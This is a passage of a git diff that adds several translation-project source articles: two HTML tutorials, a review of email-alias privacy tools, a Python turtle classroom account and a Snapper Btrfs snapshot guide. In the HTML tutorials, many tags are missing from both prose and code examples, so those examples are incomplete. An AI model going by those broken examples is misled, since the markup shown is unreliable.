` tag. The basic inline element is the *span*, with the `` tag. Most HTML tags are some kind of block element or inline element, so it helps to start with just these two to understand how they work. + +Add some `
` and `` tags to your HTML document to see what block and inline elements look like: + +``` +
+The engineer replied, + +"Using a four-bit microcontroller, I would write a simple +program that reads the darkness knob and quantizes its +position to one of 16 shades of darkness, from snow white +to coal black. + + +The program would use that darkness level as the index to +a 16-element table of initial timer values. + + +Then it would turn on the heating elements and start the +timer with the initial value selected from the table. + +At the end of the time delay, it would turn off the heat +and pop up the toast. + +Come back next week, and I'll show you a working +prototype." +
+``` + +I've added a `
` block element around the whole paragraph, and a `` around just one sentence. Notice that when I start an HTML element like `
` or ``, I need to provide its corresponding *closing* tag like `
` and `
`. Most HTML elements are formed like this, with an opening and closing tag. + +The web browser uses these tags to display HTML content in a certain way, but because `
` and `` don't really define any special formatting on their own, you can't see that anything has changed. Your sample paragraph looks the same as before: + +![This really is a different screenshot than the one above, but it looks exactly the same because <div> and <span> do not add extra styling to the web page][4] + +Image by: + +(Jim Hall, CC BY-SA 4.0) + +You can include *direct styling* in these tags with a style instruction, so you can see how the block and inline elements behave. To make the boundaries of each element stand out, let's use a light blue background for the `
` block and a pink background for the `` : + +``` +
+The engineer replied, + +"Using a four-bit microcontroller, I would write a simple +program that reads the darkness knob and quantizes its +position to one of 16 shades of darkness, from snow white +to coal black. + + +The program would use that darkness level as the index to +a 16-element table of initial timer values. + + +Then it would turn on the heating elements and start the +timer with the initial value selected from the table. + +At the end of the time delay, it would turn off the heat +and pop up the toast. + +Come back next week, and I'll show you a working +prototype." +
+``` + +With these changes, the entire paragraph has a light blue background. The `
` block element is a rectangle, so the blue fills even the empty space after the last sentence ends. Meanwhile, the second sentence has a pink background. This highlight follows the sentence because `` is an inline element. + +![Adding colors helps us see the difference between block elements (blue) and inline elements (pink)][5] + +Image by: + +(Jim Hall, CC BY-SA 4.0) + +Most HTML elements are either block or inline. The only difference is these other elements carry some default styles, depending on what they are. For example, `

` is a block element that has extra space above and below the block. The heading tags, `

` through `

`, are also block elements defined at different font sizes and text styles like italics and bold. The `` tag is an inline element that displays text in a **bold** weight. Similarly, `` is also an inline element that sets the text in an *italics* style. + +### Finishing an HTML page + +Some HTML elements are required. While the sample HTML file you have used display correctly on any web browser, it is not technically a *correct* HTML page. There are a few elements you need to add: + +Every HTML document should provide a document type declaration. Use the single tag `` on the first line of the HTML file to define an HTML document. The HTML standard also expects you to wrap the document text in two block elements: `` to define the full page, and `` to define the document body. + +``` + + + +
+The engineer replied, +... +
+ + +``` + +HTML documents also need a `` block before the `` that provides *meta information* about the page. The only required meta information is the title of the document, defined by the `` element: + +``` +<!DOCTYPE html> +<html> +<head> +<title>The King's Toaster + + +
+The engineer replied, + +"Using a four-bit microcontroller, I would write a simple +program that reads the darkness knob and quantizes its +position to one of 16 shades of darkness, from snow white +to coal black. + + +The program would use that darkness level as the index to +a 16-element table of initial timer values. + + +Then it would turn on the heating elements and start the +timer with the initial value selected from the table. + +At the end of the time delay, it would turn off the heat +and pop up the toast. + +Come back next week, and I'll show you a working +prototype." +
+ + +``` + +The supporting tags like ``, ``, and `` do not change how the HTML page appears in a web browser, but they are required for a technically correct HTML document: + +![Adding colors helps us see the difference between block elements (blue) and inline elements (pink)][6] + +Image by: + +(Jim Hall, CC BY-SA 4.0) + +This gentle introduction to HTML provides just the essentials of HTML, but now that you understand block and inline elements, you're well on your way to learning how to write HTML documents using other HTML tags. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/gentle-introduction-html + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_web_internet_website.png +[2]: https://opensource.com/%20https%3A//opensource.com/article/19/9/introduction-markdown +[3]: https://opensource.com/sites/default/files/2022-08/html-plain-text.webp +[4]: https://opensource.com/sites/default/files/2022-08/html-text-div-span.webp +[5]: https://opensource.com/sites/default/files/2022-08/html-text-div-span-color.webp +[6]: https://opensource.com/sites/default/files/2022-08/html-text-div-span-color.webp diff --git a/sources/tech/20220812 5 Tools to Protect Your Email Address From Websites and Newsletters.md b/sources/tech/20220812 5 Tools to Protect Your Email Address From Websites and Newsletters.md new file mode 100644 index 0000000000..08cb4f59f2 --- /dev/null +++ b/sources/tech/20220812 5 Tools to Protect Your Email Address From Websites and Newsletters.md @@ -0,0 +1,144 @@ +[#]: subject: "5 Tools to Protect Your Email Address From Websites and Newsletters" +[#]: via: "https://itsfoss.com/protect-email-address/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +5 Tools to Protect Your Email Address From Websites and Newsletters +====== +It is important to hide your email address from various third-party applications and web services. + +You create free accounts with some seemingly cool web service or subscribe to newsletters. This is the general practice and that’s what most people do. + +But imagine if there is a database breach on the web or newsletter service. Your email address is exposed to all kinds of scammers and spammers. Such email databases are sold on the dark web all the time. + +In some cases, spurious websites also collect email addresses just to send spam messages. + +You are no stranger to spam, are you? + +Now, some people have dedicated email addresses for these kinds of random, non-work, unimportant emails. But there are better ways to prevent spam emails. + +![Simplelogin Details][1] + +You can use specialized tools that give you dummy email addresses to share with third parties. Emails coming to these dummy addresses are forwarded to your actual email address. Your actual email address is not exposed here (except to the tool you are using). + +Do you want to stop receiving emails from certain sources? You can block it even before it reaches your inbox. + +Here, I focus on listing some of the most interesting open-source tools that provide email aliases to help hide your real email address + +**In case you’re looking for more privacy tools** (*browsers, VPN, messaging, etc*.): refer to our [list of easy privacy tools][2] to enhance your digital experience. + +### 1. SimpleLogin by Proton + +![simple login 2022][3] + +If you have been following us for a while, you may have read about [SimpleLogin][4] during its initial launch days. + +Since then, a lot has changed, and it is now a part of Proton. In case you’re curious, ProtonMail [rebranded to Proton][5] earlier this year. + +**The one thing that stands out here**: if you already have a paid ProtonMail account, you can use SimpleLogin premium for free. + +It is an **open-source**anonymousemail solution that lets you generate email aliases for free. + +The free plan is limited to 10 aliases (unlimited bandwidth) and one mailbox. So, if you want unlimited aliases, and the ability to add more email addresses for protection, you can opt for its premium plans that cost **$30** per year. + +You get access to the service through the web, a browser extension, and mobile apps (Android and iOS). + +Additionally, you can self-host it for total control of the email aliases and get the ability to customize your experience with it. + +[SimpleLogin][6] + +### 2. Firefox Relay + +![firefox relay 2022][7] + +Firefox Relay is an entirely free service, with paid options available to certain regions of users. It is best to [use Firefox as your web browser][8] if you opt to use Firefox Relay for seamless integration. + +In either case, you can also use Firefox Relay on Chromium-based browsers like Brave and Vivaldi. Explore the differences between them in our [Brave vs Vivaldi comparison][9] article. + +You will be limited to five email aliases for free. If you want a couple of email aliases, have them redirect to your inbox, it should be a good option. + +Note that you will not be getting access to any mobile apps here. So, you can only access it using the mobile web browser or the desktop browser extension. + +[Firefox Relay][10] + +#### 3. AnonAddy + +![anonaddy 2022][11] + +AnonAddy is a similar offering to SimpleLogin in terms of features available. + +The pricing plans could help you pick either of them, considering AnonAddy provides unlimited standard aliases with a monthly bandwidth limit. + +You can also self-host AnonAddy as well for enhanced privacy. + +Not to forget, you get browser extension support for Chrome and Firefox. It also offers mobile clients for on-the-go usage (Android and iOS). + +[AnonAddy][12] + +### 4. Booya Web Extension + +![A Video from YouTube][13] + +Booya is an interesting service that encourages you to purchase a domain of your choice, and then configure it by using its browser extension for email aliases. + +It is a free and open-source project. + +While that sounds exciting, it may not be a convenient option for many users. Not everyone prefers to purchase a domain from a registrar they do not know. If you do not have an issue with that, you can proceed with it. + +[Booya][14] + +### 5. DuckDuckGo Email Protection + +![duckduckgo email protection][15] + +If you are using DuckDuckGo mobile browser, you can take advantage of its beta email protection service, where you get an email alias (example**@duck.com**) that you can use to hide your real email address. + +At the time of writing, you need to sign up for a waitlist to get access. You should receive the invite in a few months if it is still in beta. But, I don’t think it will be long before it is available to all. + +Unfortunately, as of now, you cannot delete the duck address (or generate a new one) by yourself. You will have to contact DuckDuckGo’s support to get help with it. + +### What Tool Do You Need to Protect Your Email? + +I’m confident that an email address will remain a vital point of contact for everything, even after decades. + +However, with various services and platforms to sign up, it can be risky to share your real email address while keeping privacy in mind. + +These privacy tools should help you protect your email address without needing to make lots of effort. + +By the way, it would be a good time to check whether your email address has been exposed. + +[Check if your email address has been in a data breach][16] + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/protect-email-address/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2020/01/simplelogin-details.png +[2]: https://itsfoss.com/privacy-tools/ +[3]: https://itsfoss.com/wp-content/uploads/2022/08/simple-login-2022.png +[4]: https://itsfoss.com/simplelogin/ +[5]: https://news.itsfoss.com/protonmail-now-proton/ +[6]: https://simplelogin.io/ +[7]: https://itsfoss.com/wp-content/uploads/2022/08/firefox-relay-2022.jpg +[8]: https://news.itsfoss.com/why-mozilla-firefox/ +[9]: https://itsfoss.com/brave-vs-vivaldi/ +[10]: https://relay.firefox.com/ +[11]: https://itsfoss.com/wp-content/uploads/2022/08/anonaddy-2022.jpg +[12]: https://anonaddy.com/ +[13]: https://youtu.be/c03B4-jBl_Q +[14]: https://booya.email/ +[15]: https://itsfoss.com/wp-content/uploads/2022/08/duckduckgo-email-protection.png +[16]: https://monitor.firefox.com/ diff --git a/sources/tech/20220812 How I get students excited about math with Python and Raspberry Pi.md b/sources/tech/20220812 How I get students excited about math with Python and Raspberry Pi.md new file mode 100644 index 0000000000..f61c10a61f --- /dev/null +++ b/sources/tech/20220812 How I get students excited about math with Python and Raspberry Pi.md @@ -0,0 +1,141 @@ +[#]: subject: "How I get students excited about math with Python and Raspberry Pi" +[#]: via: "https://opensource.com/article/22/8/math-python-raspberry-pi" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How I get students excited about math with Python and Raspberry Pi +====== +Reimagine math with the help of these open source technologies. + +I am teaching Python using [Raspberry Pi 400][2] computers in a local library for the second year in a row. A couple of this year's students have not experienced success with mathematics in their school. One asked me if she needed algebra to attend our class. I told her I had failed algebra, geometry, and trigonometry in school. She was relieved. Another student rushed in the door a bit late because she was taking geometry in summer school after failing to pass the course during the school year. I shared my own story of learned helplessness and my distress at the thought of math tests. My own bad experiences impacted my high school and early college years. + +I like Python, and in particular, the `turtle` module, because of an experience in graduate school in the early 1990s. The exercise used Apple's logo to teach students geometry, leading to an epiphany that completely changed my attitude toward mathematics. This week's class has four eighth-grade students. Two have math backgrounds, and two have math phobias. On the first day of class in the Olean Public Library, we started with a brief explanation of the RaspberryPi 400 and how to connect each of those computers to old VGA monitors that came from storage. I gave the students a brief overview and tour of the ports, peripheral mouse, and microHDMI cable we would use. We proceeded, step by step, to assemble the parts of the Raspberry Pi 400 units and connect them to the monitors. We powered up the units, and I assisted the students as they properly configured their computers for the United States and the Eastern Time Zone. We connected to the library's wireless network and were ready to begin. + +I gave the students a brief overview of all the software on their computers. Then I introduced them to the [Mu-Editor][3] that comes pre-installed on their computers. We reviewed the [Read-Evaluate-Print-Loop][4] (REPL). I explained that while we could execute code in the REPL, they would find it easier to write the code in the Mu-Editor and then save their code with a `.py` extension to ensure that the system could execute it properly. I explained how our code needed comments and how to add and save them properly. + +``` +# first program +print("Hello World") +``` + +Then I introduced them to the `turtle` module. We talked about the elements of a square; that squares are made up of four equal sides and contain 90-degree angles. We wrote the following code together, saved our work, and executed it. + +``` +# First Turtle Square +import turtle +turtle.forward(200) +turtle.right(90) +turtle.forward(200) +turtle.right(90) +turtle.forward(200) +turtle.right(90) +turtle.forward(200) +turtle.right(90) +``` + +I explained how to change the code and add features like a different pen color and a different color background. + +``` +# First Turtle Square +import turtle +turtle.pencolor("blue") +turtle.bgcolor("yellow") +turtle.forward(200) +turtle.right(90) +turtle.forward(200) +turtle.right(90) +turtle.forward(200) +turtle.right(90) +turtle.forward(200) +turtle.right(90) +``` + +I introduced them to the `turtle.shape` to change from the default to look more like a turtle. I encouraged them to save each time and to iterate. They had fun sharing their results. + +In our second session, I demonstrated how to use a *for* loop to draw a square and how to clean up the code by assigning the "turtle" to a specific letter. Then I ran the code. + +``` +#For Loop +import turtle as t +for x in range(4): + t.forward(200) + t.right(91) +``` + +One of the students who had experienced mathematics problems in the past said, "That square looks crooked." + +I said, "You're right. What's wrong with it?" + +She let me know that my `t.right` should be `90` and not `91`. I corrected the error and reran the code. It looked perfect, and she was proud to have experienced some success with mathematics. + +We changed our code, and I introduced them to new possibilities within the turtle module, including speed, pen color, and background color. They enjoyed it when I demonstrated how we could easily create a square spiral using the following code: + +``` +# square spiral +import turtle as t +t.speed(0) +t.bgcolor("blue") +t.pencolor("yellow") +for x in range(200): + t.forward(x) + t.right(91) +``` + +We changed our code again to make circle spirals. The students were leaning into the learning, and our ninety-minute class came to an end. One of the students is in summer school re-taking geometry which she failed during the school year, and each day she runs a block and a half to make it to our class, where she excels at constructing geometric shapes. She has a great eye for detail and regularly helps the other students identify errors in their code. Her watchful eye inspired me to discuss the value of open source software and the power of many eyes on the code with the group. + +![circle spirals rendered by python code][5] + +Image by: + +(Don Watkins, CC BY-SA 4.0) + +``` +# circle spiral +import turtle as t +t.speed(0) +t.bgcolor("blue") +t.pencolor("yellow") +for x in range(100): + t.circle(x*2) + t.right(91) +t.setpos(60,75) + +for x in range(100): + t.circle(x) + t.right(91) +``` + +![blue spiral of squares rendered from Python code][6] + +Image by: + +(Don Watkins, CC BY-SA 4.0) + +Using Python with open source hardware and software to facilitate mathematics instruction amazes me. With a little ingenuity, it's possible to reimagine mathematics education. Each student who participated in our class will receive the Raspberry Pi 400 they worked on to take home and use. They'll have to find a display to connect to, but for a bit over one hundred dollars per unit, we are investing in their future. You can have the same effect in your community if you are willing to donate your time. Public libraries are great spaces for extracurricular activities, and some of the resources I have used as the basis for my classes come from library books. One of those books is [Teach Your Kids to Code][7]. Another is [Python for Kids][8] and [A Simple Turtle Tutorial][9] by Al Sweigart is available online. We used Raspberry PI 400 kits with VGA monitors and microHDMI to VGA adapters. You could easily adapt this instruction using refurbished Linux laptops, Windows, and/or macOS laptops. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/math-python-raspberry-pi + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/osdc_520x292_opendata_0613mm.png +[2]: https://opensource.com/article/21/6/teach-python-raspberry-pi +[3]: https://opensource.com/article/20/9/teach-python-mu +[4]: https://learn.adafruit.com/welcome-to-circuitpython/the-repl +[5]: https://opensource.com/sites/default/files/2022-08/yellow.jpg +[6]: https://opensource.com/sites/default/files/2022-08/blue.jpg +[7]: https://opensource.com/education/15/9/review-bryson-payne-teach-your-kids-code +[8]: https://opensource.com/education/13/1/python-for-kids +[9]: https://github.com/asweigart/simple-turtle-tutorial-for-python/blob/master/simple_turtle_tutorial.md diff --git a/sources/tech/20220812 Writing project documentation in HTML.md b/sources/tech/20220812 Writing project documentation in HTML.md new file mode 100644 index 0000000000..def1112b5e --- /dev/null +++ b/sources/tech/20220812 Writing project documentation in HTML.md @@ -0,0 +1,317 @@ +[#]: subject: "Writing project documentation in HTML" +[#]: via: "https://opensource.com/article/22/8/writing-project-documentation-html" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Writing project documentation in HTML +====== +HyperText has more features than plain text to level up your documentation. + +![5 trends in open source documentation][1] + +Image by: Internet Archive Book Images. Modified by Opensource.com. CC BY-SA 4.0 + +Documentation is an important part of any technical project. Good documentation tells the end user how to run the program, how to use it, or how to compile it. For many projects, plain text documentation is the standard. After all, every system can display plain text files. + +However, plain text is limiting. Plain text files lack formatting elements like italics text, bold text, and titles. To add these elements, we can leverage HTML. HyperText Markup Language (HTML) is the markup language used in all web browsers. And with a little extra effort, you can use HTML to write project documentation that can be read by everyone. + +HTML uses a series of tags enclosed in angle brackets to control how different parts of a document should be displayed. These tags define *elements* in an HTML document, such as document headings, paragraphs, italics text, bold text, and other kinds of text. Almost every tag comes in a pair: an *opening* tag, like

to start a paragraph, and a *closing* tag to end the element, such as

to end a paragraph. When using these tags, remember this rule: *if you open a tag, you need to close it*. Not closing a tag properly can result in the web browser incorrectly. + +Some tags define a *block* within the HTML document, while others are *inline*. For more information about block and inline elements, read my other article about [a gentle introduction to HTML][2]. + +### Start an empty document + +Begin by creating a boilerplate empty HTML document. Every HTML document should provide a document type declaration. Use the single tag on the first line of the HTML file to define an HTML document. The HTML standard also requires that pages wrap the document text in two block elements: to define the HTML document, and to define the body text. While HTML doesn't require *indenting* each new code block, but I add it anyway so you can see that is actually "inside" the block: + +``` + + +  +  +  + +``` + +HTML documents also need a block before the that provides extra information called *metadata* about the page. The only required metadata is the title of the document, defined by the element. An empty document might look like this: + +``` +<!DOCTYPE html> +<html> +  <head> +    <title>Title of the document +  +  +  +  + +``` + +### Add the text + +Let's exercise some HTML knowledge by adapting an existing plain text "Readme" file to HTML. For this example, I'm using part of the documentation about how to play an open source board game, called Simple Senet: + +``` +HOW TO PLAY SIMPLE SENET + +The game will automatically "throw" the throwing sticks for you, and +display the results in the lower-right corner of the screen. + +If the "throw" is zero, then you lose your turn. + +When it's your turn, the game will automatically select your first +piece on the board. You may or may not be able to make a move with +this piece, so select your piece to move, and hit Space (or Enter) to +move it. You can select using several different methods: + +-  Up/down/left/right to navigate to a specific square. + +-  Plus (+) or minus (-) to navigate "left" and "right" on the +   board. Note that this will automatically follow the "backwards S" +   shape of the board. + +-  Tab to select your next piece on the board. + +To quit the game at any time, press Q (uppercase Q) or hit Esc, and +the game will prompt if you want to forfeit the game. + +You win if you move all of your pieces off the board before your +opponent. It takes a combination of luck and strategy! +``` + +Start by adding this Readme text into your empty HTML file. The main content of an HTML page is the , so that's where you put the text: + +``` + + +  +    Title of the document +  +  +    HOW TO PLAY SIMPLE SENET +    +    The game will automatically "throw" the throwing sticks for you, and +    display the results in the lower-right corner of the screen. +    +    If the "throw" is zero, then you lose your turn. +    +    When it's your turn, the game will automatically select your first +    piece on the board. You may or may not be able to make a move with +    this piece, so select your piece to move, and hit Space (or Enter) to +    move it. You can select using several different methods: +    +    - Up/down/left/right to navigate to a specific square. +    +    - Plus (+) or minus (-) to navigate "left" and "right" on the +      board. Note that this will automatically follow the "backwards S" +      shape of the board. +    +    - Tab to select your next piece on the board. +    +    To quit the game at any time, press Q (uppercase Q) or hit Esc, and +    the game will prompt if you want to forfeit the game. +    +    You win if you move all of your pieces off the board before your +    opponent. It takes a combination of luck and strategy! +  + +``` + +Without further changes, this HTML document looks completely wrong when you view it in a web browser. That's because HTML, like most markup systems, collects *words* from the input file and fills *paragraphs* in the output. Because you have not yet added other markup, a web browser displays the text in a single paragraph: + +![This is how a web browser displays our bare HTML file.][3] + +### Body paragraphs + +Your first step in updating this Readme file to HTML is to mark every paragraph so the web browser can display it properly. The tag to define a paragraph is

. While not everything in this file is actually a paragraph, start by wrapping everything in

and

tags: + +``` + + +  +    Title of the document +  +  +   

HOW TO PLAY SIMPLE SENET

+    +   

The game will automatically "throw" the throwing sticks for you, and +    display the results in the lower-right corner of the screen.

+    +   

If the "throw" is zero, then you lose your turn.

+    +   

When it's your turn, the game will automatically select your first +    piece on the board. You may or may not be able to make a move with +    this piece, so select your piece to move, and hit Space (or Enter) to +    move it. You can select using several different methods:

+    +   

- Up/down/left/right to navigate to a specific square.

+    +   

- Plus (+) or minus (-) to navigate "left" and "right" on the +         board. Note that this will automatically follow the "backwards S" +         shape of the board.

+    +   

- Tab to select your next piece on the board.

+    +   

To quit the game at any time, press Q (uppercase Q) or hit Esc, and +    the game will prompt if you want to forfeit the game.

+    +   

You win if you move all of your pieces off the board before your +    opponent. It takes a combination of luck and strategy!

+  + +``` + +This makes the Readme look more like a document you want to read. When you view the new document in a web browser, every paragraph starts on a new line, with some extra space above and below. The paragraph is the most common example of a block element. + +![Our first step is to define everything as paragraphs.][4] + +### Headings and subheadings + +The first line in your content is your document's title, so you should make this into a heading. HTML provides six levels of headings, from

to

. In most documents, you might use

to define the title of the document, and

for major subsections. Make this change in your sample Readme document. Use the name of the program ("Simple Senet") as the main section title, and "How to Play" as a subsection in the document. + +Note that in this example, I've also updated the in the document metadata to use the same title as the <h1> heading. This doesn't actually change how browsers display the document, but it is a good practice to use: + +``` +<!DOCTYPE html> +<html> +  <head> +    <title>Simple Senet +  +  +   

Simple Senet

+   

How to Play

+    ... +  + +``` + +By adding these section headings, you've made the document easier to read: + +![By itself, HTML will display headings and subheadings in a different style than the paragraphs.][5] + +### Ordered and unordered lists + +Your document includes a list of different ways to navigate the board game. Because this document started out as a plain text file, each item in the list starts with a hyphen. But you can use HTML to define these three paragraphs as list items. + +HTML supports two kinds of lists: *ordered* and *unordered* lists. An ordered list
    is a numbered series, which you might use to define a sequence of steps. An unordered list
      defines a list of items that may or may not be related, but are generally not done in order. Both lists use list items
    • for entries within the list. + +Update the Readme document to use an ordered list instead of paragraphs. This presents the three navigation options in a numbered list: + +``` +
        +     
      1. Up/down/left/right to navigate to a specific square.
      2. + +     
      3. Plus (+) or minus (-) to navigate "left" and "right" on the +          board. Note that this will automatically follow the "backwards S" +          shape of the board.
      4. +    +     
      5. Tab to select your next piece on the board.
      6. +   
      +``` + +This presents the three options in a numbered list: + +![The three options are in an ordered list, numbered 1, 2, and 3.][6] + +However, these three items aren't really a sequence of steps, but different options to move the selection in the Simple Senet game. So instead of an ordered list, we want to use an unordered list. This requires updating the
        to
          in the document: + +``` +
            +     
          • Up/down/left/right to navigate to a specific square.
          • + +     
          • Plus (+) or minus (-) to navigate "left" and "right" on the +          board. Note that this will automatically follow the "backwards S" +          shape of the board.
          • +    +     
          • Tab to select your next piece on the board.
          • +   
          +``` + +The unordered list uses bullets for each list item, because the entries are not part of a sequence: + +![The three options are in an unordered or bulleted list.][7] + +### Bold and italics + +You can highlight certain information in the document by applying **bold** and *italics* styles. These are very common text styles in technical writing. You might use bold to highlight important information, or italics to emphasize key phrases and new terms. + +The bold tag was originally defined as , but newer versions of the HTML standard prefer the tag to indicate strong importance, such as key steps in a set of instructions. Both tags are valid, but are semantically slightly different. now means "bring attention to." + +Similarly, the original HTML standard used for italics text. Later versions of HTML instead prefer to bring emphasis to parts of the text. Instead, now identifies idiomatic text or technical terms. + +For this example, use bold to identify the single-letter keypresses, and italics to indicate special keys on a keyboard like *Enter* and *Space*. For simplicity, use and tags here (but you could use and tags instead to get the same effect:) + +``` + + +  +    Simple Senet +  +  +   

          Simple Senet

          +   

          How to Play

          +    +   

          The game will automatically "throw" the throwing sticks for you, and +    display the results in the lower-right corner of the screen.

          +    +   

          If the "throw" is zero, then you lose your turn.

          +    +   

          When it's your turn, the game will automatically select your first +    piece on the board. You may or may not be able to make a move with +    this piece, so select your piece to move, and hit Space (or Enter) to +    move it. You can select using several different methods:

          + +   
            +     
          • Up/down/left/right to navigate to a specific square.
          • + +     
          • Plus (+) or minus (-) to navigate "left" and "right" on the +          board. Note that this will automatically follow the "backwards S" +          shape of the board.
          • +    +     
          • Tab to select your next piece on the board.
          • +   
          + +   

          To quit the game at any time, press Q (uppercase Q) or hit Esc, and +    the game will prompt if you want to forfeit the game.

          +    +   

          You win if you move all of your pieces off the board before your +    opponent. It takes a combination of luck and strategy!

          +  + +``` + +These extra styles help special items to stand out in the text: + +![The extra formatting makes these gameplay instructions easier to read.][8] + +The point of writing documentation is for users to understand how to use the software, so every open source project should make the effort to write documentation in a way that is easy to read. With a few basic HTML tags, you can write documentation that presents the information more clearly to your users. + +For more information on using HTML to write documentation, check out the complete [HyperText Markup Language reference][9] at MDN, the Mozilla Developer Network, hosted by the Mozilla web project. + +Image by: (Jim Hall, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/writing-project-documentation-html + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/documentation-type-keys-yearbook.png +[2]: https://opensource.com/article/22/8/gentle-introduction-html +[3]: https://opensource.com/sites/default/files/2022-08/html-senet-1.webp +[4]: https://opensource.com/sites/default/files/2022-08/html-senet-2.webp +[5]: https://opensource.com/sites/default/files/2022-08/html-senet-3.webp +[6]: https://opensource.com/sites/default/files/2022-08/html-senet-4.webp +[7]: https://opensource.com/sites/default/files/2022-08/html-senet-5.webp +[8]: https://opensource.com/sites/default/files/2022-08/html-senet-6.webp +[9]: https://developer.mozilla.org/en-US/docs/Web/HTML diff --git a/sources/tech/20220813 How To Create And Manage Btrfs Snapshots With Snapper In openSUSE.md b/sources/tech/20220813 How To Create And Manage Btrfs Snapshots With Snapper In openSUSE.md new file mode 100644 index 0000000000..9fd767057f --- /dev/null +++ b/sources/tech/20220813 How To Create And Manage Btrfs Snapshots With Snapper In openSUSE.md @@ -0,0 +1,548 @@ +[#]: subject: "How To Create And Manage Btrfs Snapshots With Snapper In openSUSE" +[#]: via: "https://ostechnix.com/btrfs-snapshots-snapper/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How To Create And Manage Btrfs Snapshots With Snapper In openSUSE +====== +Use Snapper To Automate Btrfs Snapshots + +**Btrfs** is a Linux filesystem that has been adopted as the default filesystem in popular Linux distributions such as openSUSE and Fedora. It has many unique features that are not available in other filesystems. It is based on **copy-on-write**, allowing for efficient filesystem snapshots and clones. In this guide we will see whats is **Snapper**, and how to **create Btrfs filesystem snapshots with Snapper** on openSUSE Linux. + +### What Is Snapper? + +Snapper is a Linux filesystem snapshot management tool created by **Arvin Schnell**, a software developer at SUSE. Using Snapper, you can easily create, delete, compare, and undo changes between Btrfs filesystem snapshots. + +Snapper is integrated into YaST and zypper to create and manage Btrfs snapshots in SUSE-based Linux systems. It can also be integrated with other distribution's package manager (E.g. DNF) using a plugin. + +Snapper can automatically create a pair of snapshots before and after running YaST or zypper. You can also manually create a single snapshot from command line or using the YaST. + +You can compare two snapshots and restore the previous snapshot when there is a problem. To put it in other words, Snapper can be used to view older versions of files and rollback to previous working system state if something goes wrong. + +Snapper automatically creates the timeline of snapshots, so you can easily know when a snapshot is taken. The older snapshots are automatically cleaned up to save the disk space. + +Snapper has both CLI and GUI interface (YaST module). So you can use Snapper on servers as well as desktops to snapshot the Btrfs filesystems. + +Snapper is initially developed for SUSE and openSUSE only. Now, it works on any Linux distribution that supports Btrfs filesystem and thin-provisioned LVM based logical volumes. + +Snapper supported EXT4 filesystem in the past, but it is discontinued now. Using Snapper on EXT4 filesystems is highly discouraged! + +### Install Snapper In Linux + +In order to use Snapper, the partitions should have Btrfs filesystems. + +By default, SUSE and openSUSE use Btrfs filesystem for the **root** partition. If you choose to use Btrfs for your root filesystem during fresh **[openSUSE installation][1]**, Snapper will be automatically configured for YaST2 and Zypper. So whenever you use YaST2 or Zypper, the snapshots will be automatically taken. You can also manually take snapshots at any time. + +On other Linux distributions, you may need to install Snapper and configure it with the distribution's default package manager. + +To install Snapper in Arch Linux and its variants such as EndeavourOS and Manjaro Linux, run: + +``` +$ sudo pacman -S snapper +``` + +Install Snapper on Fedora: + +``` +$ sudo dnf install snapper +``` + +Install Snapper in Debian, Ubuntu: + +``` +$ sudo apt install snapper +``` + +It is also available for various other Linux distributions as well. Head over to **[Snapper download link][2]** and get the required version for your Linux version and install it. + +As stated already, Snapper is integrated into YaST2 and Zypper, so the snapshot of root filesystem is automatically taken when each YaST/Zypper transaction is completed. + +For other Linux distributions, you may need to install snapper plugins to integrate Snapper with your package managers. + +For example, if you use Fedora, you can install **DNF snapper plugin** to snapshot filesystem automatically when running dnf command. + +``` +$ sudo dnf install snapper python3-dnf-plugin-snapper +``` + +### Create Btrfs Filesystem Snapshots With Snapper + +All commands given below are tested on a latest openSUSE Tumbleweed edition. + +#### 1. View Snapper Configuration + +By default, YaST creates a snapper config called "root" for your root file system. You can list the existing snapshot configuration using command: + +``` +$ sudo snapper list-configs +``` + +**Sample output:** + +``` +Config | Subvolume +-------+---------- +root | / +``` + +![List Snapper Configuration][3] + +The above command will + +* create a new configuration file at `/etc/snapper/configs/root` based on the default template from `/usr/share/snapper/config-templates`. +* create a new subvolume at `/.snapshots` directory and store the future snapshots for the root configuration in this directory. + +The snapper configuration for root is now active. From now on, Snapper will take automatic timeline snapshots at regular time intervals if automatic timeline snapshot feature is enabled. + +#### 3. Configure Automatic Timeline Snapshots + +Taking snapshots is automatically enabled if the root partition (/) is big enough (approximately **more than 16 GB**). 